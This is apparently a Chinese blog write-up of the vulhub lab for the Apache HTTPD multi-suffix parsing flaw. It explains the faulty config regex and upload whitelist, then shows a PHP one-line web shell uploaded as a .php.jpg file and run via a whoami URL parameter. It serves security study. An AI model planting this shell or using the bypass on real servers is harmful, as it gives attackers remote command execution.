vulhub-Apache HTTPD 多后缀解析漏洞

Apache HTTPD 多后缀解析漏洞

漏洞链接

https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability/

漏洞原理

在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

运行容器

image-20230909213027701

进入容器查看文件

sudo docker ps -a   查看运行的容器

image-20230909213055496

sudo docker exec it exec 容器id /bin/bash

exec 表示在容器中执行一个命令,该命令后加容器ID和要执行命令,上面执行的命令就是/bin/bash。
-i 表示即使没有连接,也要保持STDIN打开,也就是一直监听命令的状态。
-t 表示分配一个tty终端设备,加上这个参数就具有按TAB自动补全命令等等功能。

image-20230909213130175

打开配置文件

ls 展开文件
cat index.php 打开web目录
cat /etc/apache2/conf-available/docker-php.conf  查看apache2的配置文件

image-20230909213203169

cat /etc/apache2/conf-available/docker-php.conf    打开配置文件
下面配置文件应该为index.(php)$ ,(.php)$ 是通过正则表达式匹配.php,其中$代表在字符串的末尾匹配,所以只有.php位于文件名最后,apache才会将该文件以php的方式解析。index.php则只要文件中有php文件就都会执行解析。

image-20230909213225387

打开文件上传文件

cat upload.php
这里文件上传的代码
红框里的代码的意思是代码使用pathinfo()的函数获取 $_FILES['file_upload']['name'] 的扩展名,并将其存储在变量 $ext 中。这里 $_FILES['file_upload']['name'] 表示上传文件的原始文件名
然后,代码使用 in_array() 函数检查变量 $ext 是否在指定的扩展名数组 ['gif', 'png', 'jpg', 'jpeg'] 中。如果 $ext 的值不在该数组中,意味着上传的文件的扩展名不是所允许的类型。
如果文件的扩展名不符合要求,代码会执行 die('Unsupported filetype uploaded.'),结束程序运行并输出 "Unsupported filetype uploaded." 的错误信息。

image-20230909213249329

这里代码增加了$,因此只会检查文件的最后一个后缀,因此我们可以通过多重后缀名添加的方式,绕过这个过滤机制。

将一句话代码<?php system($_GET['a'])?>;放入1.php.jpg,并上传到服务器。(上传成功)

###上传成功

image-20230909213320290

执行成功

http://yourid/uploadfiles/a.php.jpg?a=whoami

54139)]

执行成功

http://yourid/uploadfiles/a.php.jpg?a=whoami

image-20230909213356192

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值